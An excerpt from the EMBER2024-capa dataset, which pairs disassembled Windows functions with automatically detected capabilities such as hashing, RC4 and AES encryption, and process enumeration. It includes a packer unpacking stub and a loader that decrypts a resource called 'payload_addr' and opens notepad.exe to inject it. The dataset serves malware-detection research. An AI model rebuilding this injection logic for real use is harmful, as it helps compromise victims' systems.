joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e700
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x42e986
push rbp
mov rbp, rsp
sub rsp, 0x38
test byte [rax], al
mov rcx, qword [rax + 0x1268]
lea rsi, [rax + 0x1278]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42e97a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1268], 0
cmp byte [0x005ac691], 0
jne 0x42e75a
xor edx, edx
xor ebx, ebx
jmp 0x42e7a0
xor edx, edx
jmp 0x42e785
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1278]
mov rax, rcx
call fcn.0041dac0
mov rdx, qword [rsp + 0x28]
inc rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x42e75e
add rax, 0x1268
call fcn.0042e680
add rsp, 0x38
pop rbp
ret
inc rdx
nop
cmp rdx, rcx
jge 0x42e914
mov rsi, qword [rax + rdx*8 + 0x1278]
cmp rsi, 0x1000
jb 0x42e79b
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
call fcn.00411d20
test rax, rax
jne 0x42e7ec
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42e79b
mov rsi, qword [rbx + 0x50]
test byte [rsi], al
mov r8, rcx
shr r8, 3
movzx r9d, byte [rsi + r8]
and ecx, 7
mov r10d, 1
shl r10d, cl
nop
add rsi, r8
test r10b, r9b
je 0x42e82c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42e79b
nop
lock or byte [rsi], r10b
mov rcx, qword [rbx + 0x18]
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
nop
nop
nop
cmp r8, 0x40
jae 0x42e96d
lea r10, [0x0057ea78]
mov r8, qword [r10 + r8*8]
test byte [r8], al
mov r10, rcx
shr r10, 0x10
and r10d, 0x3f
shr rcx, 0xd
and ecx, 7
mov r11d, 1
shl r11d, cl
shr r9, 0x16
and r9d, 0xfffff
mov r8, qword [r8 + r9*8]
test byte [r8], al
movzx r9d, byte [r8 + r10 + 0x11440]
lea r8, [r8 + r10]
lea r8, [r8 + 0x11440]
test r11b, r9b
jne 0x42e8af
lock or byte [r8], r11b
movzx r8d, byte [rbx + 0x6a]
test r8b, 1
je 0x42e8e5
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x1250]
add r8, qword [rbx + 0x70]
mov qword [rax + 0x1250], r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42e79b
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x42e965
mov rbx, qword [rsp + 0x48]
mov qword [rbx + r8*8 + 0x1278], rax
inc r8
mov rax, rbx
mov rdx, qword [rsp + 0x28]
mov rbx, r8
jmp 0x42e79b
cmp rbx, 0x200
ja 0x42e954
lea rdx, [rax + 0x1278]
lea rsi, [rax + 0x1240]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.00424300
mov rax, qword [rsp + 0x48]
add rax, 0x1268
call fcn.0042e680
add rsp, 0x38
pop rbp
ret
mov rcx, rbx
mov edx, 0x200
nop dword [rax]
call fcn.00460ac0
mov rax, r8
call fcn.00460a40
mov rax, r8
mov ecx, 0x40
call fcn.00460a60
mov edx, 0x200
nop
call fcn.00460aa0
nop
mov qword [rsp + 8], rax
call fcn.00465300
mov rax, qword [rsp + 8]
jmp fcn.0042e700
Function at 0x4434c0
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x443627
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x4434d2
cmp edx, ecx
jne 0x443615
nop word [rax + rax]
test rsi, rsi
jne 0x443615
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x443534
nop
call fcn.004622a0
xorps xmm15, xmm15
mov r14, qword [0x005ac8c8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.004433e0
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x443610
mov rdx, qword [0x005596a8]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x443605
mov rcx, qword [0x005596a0]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x0055a310]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x0055a310], rax
nop
mov edx, 1
lea rsi, [0x0055a318]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1228]
shr rdx, 0x3d
test dl, dl
jne 0x4435f3
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1228], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x004bb808]
mov ebx, 0x28
nop
call fcn.00434a00
mov rax, rsi
mov rcx, rdx
call fcn.00460a40
call fcn.004330a0
lea rax, [0x004baa11]
mov ebx, 0x23
call fcn.00434a00
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e7c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004434c0
Function at 0x44e400
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44e577
movzx edx, byte [rax]
test edx, edx
jne 0x44e434
nop dword [rax]
test r8b, r8b
jne 0x44e434
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x44e447
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44e537
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x44e525
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x44e517
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x44e49d
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x44e4e0
mov eax, 1
cmp rax, rbx
ja 0x44e4cb
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00460b00
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x44e50f
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x44e4d3
mov rcx, r11
mov eax, r12d
jmp 0x44e4a2
mov rcx, rbx
call fcn.00460a40
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00460a40
mov eax, r8d
mov rcx, rbx
call fcn.00460b00
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44e56d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x44e530
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44e44d
mov eax, edx
mov rcx, rbx
call fcn.00460a40
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00460a40
nop
int3
Function at 0x455ae0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x455b8f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00455be0]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045e680
xorps xmm15, xmm15
mov r14, qword [0x005ac8c8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045e7c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00455ae0
Function at 0x4605a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x403203
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00408c60
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e7c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x4031e0
cmp byte [0x005ac68a], 0
je 0x4605b5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45d800
jmp 0x4031e0

Function at 0x4605c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005ac960]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005ac68a], 0
je 0x4605f5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005acc20]
aesenc xmm0, xmmword [0x005acc30]
aesenc xmm0, xmmword [0x005acc40]
movq rax, xmm0
ret
jmp 0x408e80

Function at 0x460600
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005ac960]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005ac68a], 0
je 0x460636
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005acc20]
aesenc xmm0, xmmword [0x005acc30]
aesenc xmm0, xmmword [0x005acc40]
movq rax, xmm0
ret
jmp 0x408ee0

Function at 0x462300
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x462334
mov rcx, 0x28
jmp 0x46233f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005ac8c8], rcx
pop rbp
ret
Function at 0x477800
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4778ca
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403100
xorps xmm15, xmm15
mov r14, qword [0x005ac8c8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x4778af
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x0049cce0]
xor ebx, ebx
mov rcx, rdx
call fcn.00447760
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00477be0
inc rbx
cmp rcx, rbx
jae 0x47789e
mov edi, 1
lea rsi, [0x0049cce0]
call fcn.00447840
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004d75c8]
lea rsi, [0x004d6f68]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e7c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00477800
Function at 0x48aae0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x48aaf7
inc rax
cmp rax, 4
jge 0x48ab0f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x48aaf4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x48ab20
inc rax
cmp rax, 4
jge 0x48ab2e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x48ab57
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x48ab3b
jmp 0x48ab1d

Function at 0x10bf780
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x10bf78d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x10bf79d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x10bf785
lea eax, [rcx + 1]
jmp 0x10bf7ab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x10bf7be
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x10bf7a4
sub eax, 3
jb 0x10bf7de
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x10bf82d
sar eax, 1
movsxd rbp, eax
jb 0x10bf814
jmp 0x10bf7ec
add ebx, ebx
jne 0x10bf7ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x10bf814
inc ecx
add ebx, ebx
jne 0x10bf7fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x10bf814
call r11
adc ecx, ecx
add ebx, ebx
jne 0x10bf80d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x10bf7fc
add ecx, 2
jmp 0x10bf819
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.010bf742
jmp 0x10bf78d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xcb4000]
mov eax, dword [rdi]
or eax, eax
je 0x10bf889
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xcbf000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x10bf839
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x10bf883
mov qword [rbx], rax
add rbx, 8
jmp 0x10bf859
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x10bf8cd
cmp al, 0xef
ja 0x10bf8b5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x10bf895
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x10bf8a4
mov eax, dword [rdi]
add rdi, 4
jmp 0x10bf8a4
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x10bf921
sub rsp, 0xffffffffffffff80
jmp 0x468740
Function at 0x140001000
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x40
xor ebx, ebx
mov dword [r11 + 0x10], r9d
mov rsi, r8
mov qword [r11 - 0x18], rbx
lea rax, [r11 + 0x10]
mov r9, r8
mov qword [r11 - 0x20], rbx
lea r8d, [rbx + 1]
mov edi, edx
mov qword [r11 - 0x28], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edx, dword [rsp + 0x58]
test eax, eax
lea rcx, str.OUTLEN:__d_n
cmove edx, ebx
mov dword [rsp + 0x58], edx
call fcn.140001570
movsxd rbx, dword [rsp + 0x58]
cmp ebx, edi
jae 0x14000106a
sub edi, ebx
lea rcx, [rbx + rsi]
xor edx, edx
mov r8d, edi
call fcn.140001660
mov rsi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001090
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x7a320
call fcn.14000a2f0
sub rsp, rax
xor edi, edi
mov ebp, r8d
mov rsi, rdx
mov r10, rcx
mov ebx, 0x100
mov r11d, edi
mov r8, rdi
nop word [rax + rax]
mov eax, r11d
mov byte [rsp + r8], r11b
inc r11d
cdq
inc r8
idiv r9d
cmp r11d, ebx
movsxd rax, edx
movzx ecx, byte [rax + rsi]
mov byte [rsp + r8 + 0xff], cl
jl 0x1400010d0
mov edx, edi
mov r9, rdi
nop word [rax + rax]
movzx r8d, byte [rsp + r9]
movzx eax, byte [rsp + r9 + 0x100]
inc r9
add eax, edx
add eax, r8d
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
sub rbx, 1
movsxd rdx, eax
movzx eax, byte [rsp + rdx]
mov byte [rsp + r9 - 1], al
mov byte [rsp + rdx], r8b
jne 0x140001100
mov esi, edi
mov rbx, rdi
movsxd r11, ebp
test ebp, ebp
jle 0x1400011c2
lea eax, [rdi + 1]
inc rbx
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
movsxd rdi, eax
movzx r8d, byte [rsp + rdi]
lea eax, [rsi + r8]
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
movsxd rsi, eax
movzx ecx, byte [rsp + rsi]
mov byte [rsp + rdi], cl
mov byte [rsp + rsi], r8b
movzx eax, byte [rsp + rdi]
add eax, r8d
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
cmp rbx, r11
movzx ecx, al
movzx eax, byte [rsp + rcx]
mov byte [rsp + rbx + 0x1ff], al
jl 0x140001143
test ebp, ebp
jle 0x1400011c2
lea rdx, [rsp + 0x200]
mov rcx, rbp
sub rdx, r10
movzx eax, byte [rdx + r10]
inc r10
xor byte [r10 - 1], al
sub rcx, 1
jne 0x1400011b0
lea r11, [rsp + 0x7a320]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400011f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
mov rsi, rcx
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000123c
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
jne 0x140001240
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001284
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140001279
nop
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001275
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001250
jmp 0x140001279
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140001440
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rcx, [0x14000e0b0]
call fcn.140001570
call fcn.140001750
mov edx, 0x64
lea r8d, [rdx - 0x5a]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rdx, str.payload_addr
lea rcx, str.__20s_:_0x__016p_n
mov r8, rdi
mov esi, eax
call fcn.140001570
lea rcx, str.notepad.exe
call fcn.1400011f0
mov ebx, eax
test eax, eax
je 0x14000155c
lea rcx, str.Notepad.exe_PID___d_n
mov edx, eax
call fcn.140001570
mov r8d, ebx
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000155c
lea rcx, [0x14000e110]
call fcn.140001570
call fcn.140001750
lea rdx, section..data
mov r9d, 3
mov r8d, esi
mov rcx, rdi
call fcn.140001090
lea rcx, [0x14000e120]
call fcn.140001570
call fcn.140001750
mov r9d, esi
mov r8, rdi
mov edx, esi
mov rcx, rdi
call fcn.140001000
lea rcx, str._nHit_me__n
call fcn.140001570
call fcn.140001750
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call fcn.1400012a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x1400031e8
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140004bb0
nop
cmp dword [0x14000f6c8], 1
je 0x140003194
mov dword [0x14000f6c4], 1
mov byte [0x14000f6c0], r12b
test ebx, ebx
jne 0x140003180
mov rcx, qword [0x140010690]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000316d
mov rcx, qword [0x140010688]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14000310c
call fcn.140003fdc
cmp qword [rdi], rax
jne 0x14000310c
jmp 0x1400030f2
cmp rdi, rsi
jb 0x14000316d
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140003fdc
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140010690]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140010688]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000314b
cmp r13, rax
je 0x14000316b
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1400030f2
lea rdx, [0x14000b2f8]
lea rcx, [0x14000b2e0]
call fcn.140002f3c
lea rdx, [0x14000b308]
lea rcx, [0x14000b300]
call fcn.140002f3c
nop
test r12d, r12d
je 0x1400031a3
mov ecx, 8
call fcn.140004ab0
test r12d, r12d
jne 0x1400031ce
mov dword [0x14000f6c8], 1
lea ecx, [r12 + 8]
call fcn.140004ab0
mov ecx, r15d
call fcn.140002ed0
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000305c

Function at 0x1400031f4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000305c
Function at 0x1400064b4
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140003fdc
xor ebx, ebx
mov rdi, rax
cmp qword [0x14000fde0], rbx
jne 0x1400065ba
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000668f
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000668f
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000fde0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000fde8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14000fdf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14000fe00], rax
test rax, rax
je 0x1400065b1
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14000fdf8], rax
jmp 0x1400065c1
mov rax, qword [0x14000fdf8]
jmp 0x1400065c8
mov rax, qword [0x14000fdf8]
mov r11, qword [0x14000fe00]
cmp rax, rdi
je 0x140006630
cmp r11, rdi
je 0x140006630
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14000fe00]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140006630
test rax, rax
je 0x140006630
call rsi
test rax, rax
je 0x14000662a
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000662a
test byte [rsp + 0x38], 1
jne 0x140006630
